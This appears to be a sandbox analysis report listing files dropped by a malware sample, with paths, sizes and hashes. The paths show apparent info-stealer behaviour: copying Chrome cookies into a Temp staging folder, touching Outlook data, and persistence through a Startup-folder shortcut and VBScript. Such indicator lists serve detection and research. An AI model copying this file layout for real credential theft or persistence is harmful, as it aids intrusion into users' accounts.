Path C:\Users\Admin\AppData\Local\.svchost.dat
Size 21KB
SHA256 7bad1bd4f2530c571d77660e6c7a5657070061d82e42801594b2f9c76b60732e
MD5 37f45919e0e41d46241d5b8347655178
SHA1 7da638e81fd82be0c91838fbde6e420946438254
SHA512 dcb62b992a259efe9fef62a679292603f4300e3868dcd52686369c073bd2edda1790c19634025623cb75882dddc73ae79854c6ee621f8a885d9a64eb5de28ad2
SSDEEP 384:DtJODG1UMc1dZCE/aNYpQflecrPzfPXBCWoS51eaBANeXF7zIDcH6WxB3ODFT/:DtIDG1kd4lFecrzfPXBboS52K3ORWLOF
TLSH
T1D7A2D09F83102752BB60DF9BF0540C6A1EB816798B72570B48BE884D667ACEF06715CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

h.cfg

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\h.cfg
Size 17B
SHA256 5c70d8d277d5d5039a88e9fd47ff94ea9f9cdc11a9635fbbdf3c0f6edeb32de7
MD5 9882630db2ed17b1452a4d5970897631
SHA1 39aa8146747c03853c531741825bb806c7945381
SHA512 bd97ae3266f767fd232692f6c5ce00de65d40a550dbc2464db66019a81b9a6698dd5e6fbb2dd728f051f6d2d23c3e19c6c08d5cf480ede902837f64b9dbb5084
MD5 SHA1 SHA512

Submit Download

svc8D85Dh.dat

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_Data\svc8D85Dh\svc8D85Dh.dat
Size 1.6MB
SHA256 68362ef16b051875346aac7fc7680a9831aec248a42d273d023c3a8ce4199141
MD5 d6d452d08b2f19427292ec141e1e0ff2
SHA1 1bc72effb3c32af1fdcfa839b98d21cbfd695552
SHA512 89354b19a668914cae0b88b1da9418aec8c97ffeb684693dd7c293ca66349cc9b3c73d2053d3a01042638ddf3adc36bf7fda7a83611e26310bb282bd8768b448
SSDEEP 49152:5u/oJBx+9QH3ry/SxbcR5FqHBpk1XCtNx5Q8teF:cIvmay/SORSBp4ytNxOSeF
TLSH
T145753396F7312743582F4DCEAA4F419AE76E0D7454A7DF253788FB03827B4E84A4AB01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_sigexdu1.mug.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sigexdu1.mug.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cookies.json

Path C:\Users\Admin\AppData\Local\Temp\clev_1460\Chrome\Default\cookies.json
Size 452B
SHA256 d4a80638177da1003e8073e2ac9a768aadc5ff45bb8f48fdd9b1fae2a6b64d76
MD5 551d1319a206c8e7e50a5b82b2a8b580
SHA1 bdd52332e596256dc21fc048380c35e5b2861a9b
SHA512 5672d5bfe42aa3fe7e8b6c01e1f9bac0634125108a044ea64d5cd26b3b36c5129ce83b7457ce75847319965ce34515bfd93fd9afc77d73cca982ccded73e91db
TLSH
T109F09EE9C0C55C325EA3DB306E007B6A72C42E376459BD84B2508C828055C89D1A14D9
MD5 SHA1 SHA512 TLSH

Submit Download

olk_diag_test.log

Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
Size 1KB
SHA256 c3198cd0364b915850e822ce1a49fa441bad16d6554c81beaf6b0a1ab5a40c3c
MD5 11ede7d3fd1ce6fad15948a8919b4162
SHA1 d61f1a2cd923e7361c69d204275e3c655c42d9dd
SHA512 16133219b44dfb213dcf9d056c38667d880c56bcddf008fa8e8ff07ef90fad3c2a1d83a3866d90dce060bd009624b9ca9516b2e4ffe012047ef7d8590e784a3a
TLSH
T168414594A037EB404A419311561C0E8E59B3362E704A21FC7369C3F882CA705DABEFCE
MD5 SHA1 SHA512 TLSH

Submit Download

olk_diag_test.log

Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
Size 2KB
SHA256 92b3a77319fdcca659ecb3fd7aeffa538b4b859962c561114ac7331b7fd7381a
MD5 fc40942d4df0e1ff031174d07b8dd5d1
SHA1 f0a7503a58ff569b5e48e819f24f1a2ee6ef527a
SHA512 d2dc61d0e2415e75eea31646d4646e8a51ef3a3e0216bf12ba07d97ef5526527db0a623761153d173a01aa960e1e0140d4607d7cc2abb2fae9ff372193cc12d5
TLSH
T1C3514A989037EB045A829352965C0E8E5973362D304A21FD7769C3F851CE605DABEFCF
MD5 SHA1 SHA512 TLSH

Submit Download

olk_diag_test.log

Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
Size 3KB
SHA256 c219aa09b9b84e6d9da29da8774642cbc6f2de23e8a5735261d922a39be7a626
MD5 fc054244b9359ef042014badaa7214da
SHA1 1244152e6134c27fcd01968ad9d6a8fb67710df2
SHA512 d4390f5d1b448378cf8da3f141840d5bc04c717e38a653274cbed11f32a8306f7ef2e984099bebe71d5d7ef6d522f7c502fe90ea1ac6db61cefafa4015abe3f1
TLSH
T1E67129889037EA045AC25362925C1E9E1973766D314A32FC7769C3F841CA601DEBEF9F
MD5 SHA1 SHA512 TLSH

Submit Download

olk_diag_test.log

Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
Size 3KB
SHA256 b1179f44ccc8de40f333cb34d7237c6ae2f51f57cf17e68e1941416bfbb8220f
MD5 14a0cbaeafcb800363547dedd6b2b6cb
SHA1 16756dc9fae8f6bca59a48f410a718c71591b61e
SHA512 2a749660cf6355bfb9162f1150eaf1918f9543f657049b0fe2ebc2ff36e49877e38c2c3a59d3165df4eff6c6b5fcb60b1109311c47d8be5252eef623888c95d9
TLSH
T1CE8126889037EA045AC25352925C1E9E09B3766D314A32FC7769C3F851CA601DEBEF9F
MD5 SHA1 SHA512 TLSH

Submit Download

olk_diag_test.log

Path C:\Users\Admin\AppData\Local\Temp\olk_diag_test.log
Size 4KB
SHA256 cdd38ccace3e11ce823ceffaa90042636c6a41d6ad3cb2043b2f077185378520
MD5 a969e895211cd1e7febe27be5efee765
SHA1 6ef3d8b43f174057c9308c30d23f6cfc55533e0d
SHA512 30edbbd88bb931bb17418693322efc867dd174fc53dda9b02f549c8265ec123d9d3f90984635b7189104f8f6e2f72d843d986d27605f796f45ba4b87cfcebfeb
SSDEEP 96:zpMEJkmjNAYazJog91VsA5hCbh+h/shWhqwbhlhYhvhphchQhg4h0/OSZpxSbhCG:VpazJoU1VsA5gbk2EzbXCpDm6RK/OSpk
TLSH
T1B491048C9133E6046AC25662925C1E9D19B3766D314A32FC7769C3F840CA601DEBEF9E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

t.vbs

Path C:\Users\Admin\AppData\Local\Temp\t.vbs
Size 7KB
SHA256 6c538ed6fd7f82a24080b05f55763a357cb141a47738e8a79d0b409ff239318c
MD5 e2c085a0b5560166414fe9985672383a
SHA1 a8300524c512a732b13e0bee67d0aa9c8dc84591
SHA512 f37659834e631e8c1fdb9b32c7943a78372756b9882f823f4acac45403469ff820b26ae0244cb8e258bc46abbbd712183ec784ba02ee4b94f5a35ab6814c34dd
SSDEEP 192:xgw4VkyMg7Z3OcScqOT/jG1LPBKZ3M/jdXkKbP/w03/v3/eY3/n:xypZ3OcScqWG1LPwZ8/jGKbZH1f
TLSH
T169E1E70B3E2FD5B8F0305C892AEE0C57E8640D13643C56EEB54C9461AF3B5A661E91DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svc97dce7fa9f.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svc97dce7fa9f.lnk
Size 761B
SHA256 8f5f80f72f7638d7d1dfd35ccc0bf34598a522005dbba3644f44c6ad8c692ab6
MD5 e4007f00ba8ad4de34670f23636f0736
SHA1 3adf0e5752d4ccf2f6c7184e908ce1b0b2c4848a
SHA512 19ded9c4b0c6659080fbf348f2647396fdecd0d2a709dad6653b938624a8f9e70af1a08a24f5bd4f2b3fa71c8eb7e497c00e348badb005aba6be245c6cf24916
TLSH
T1DA01A43C1D952B70D372867780A22BE2CD266A92EDB06F28826707C51569F60ADD4C1F
MD5 SHA1 SHA512 TLSH

Submit Download

Outlook Data File - naiopehfdc.pst

Path C:\Users\Admin\Documents\Outlook Files\Outlook Data File - naiopehfdc.pst
Size 265KB
SHA256 64c344e1b5df6b5962b642d02612f1cc44ed4e701a0ced50a773468db7105539
MD5 d3f7f038fde6f6d0c62baa3097801fdf
SHA1 b812d80c7615e74a4c500ddbeb99b3f490af7135
SHA512 db09dd9c5abe1605574ca723d8330a35f6238cdf121f623a3abce27a72ceeaae2cb708457ad13922a6047fa654a68771b0fff3104f4af3c5f73895e5a4a59159
SSDEEP 768:mhQc3QKDmKW6KQst5UIvbQ9t2XGS+FzmG10Ix9v8EUrP:EmK3KrfUIvbQ9tM3mf9k
TLSH
T16D4474775E516A70C4681A7995B3A5CCDE68CCE72D02C1060A7E37212C75B9FAF30BA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1156-57-0x0000023DDA5A0000-0x0000023DDA70C000-memory.dmp

Download

memory/1156-74-0x0000023DDA3F0000-0x0000023DDA4E2000-memory.dmp

Download

memory/1156-75-0x0000023DC1F80000-0x0000023DC1FF2000-memory.dmp

Download

memory/4328-84-0x00007FFDA8100000-0x00007FFDA8110000-memory.dmp

Download

memory/4328-81-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

Download

memory/4328-83-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

Download

memory/4328-82-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

Download

memory/4328-79-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

Download

memory/4328-85-0x00007FFDA8100000-0x00007FFDA8110000-memory.dmp

Download

memory/4328-80-0x00007FFDAAC00000-0x00007FFDAAC10000-memory.dmp

Download

memory/4464-28-0x000001F0FC460000-0x000001F0FC5D0000-memory.dmp

Download

memory/5816-3-0x00007FFDC7A2F000-0x00007FFDC7A30000-memory.dmp

Download

memory/5816-10-0x000001BF6CAA0000-0x000001BF6CAC2000-memory.dmp

Download

memory/5816-12-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp

Download

memory/5816-13-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp

Download

memory/5816-9-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp

Download

memory/5816-16-0x00007FFDC78A0000-0x00007FFDC8244000-memory.dmp

Download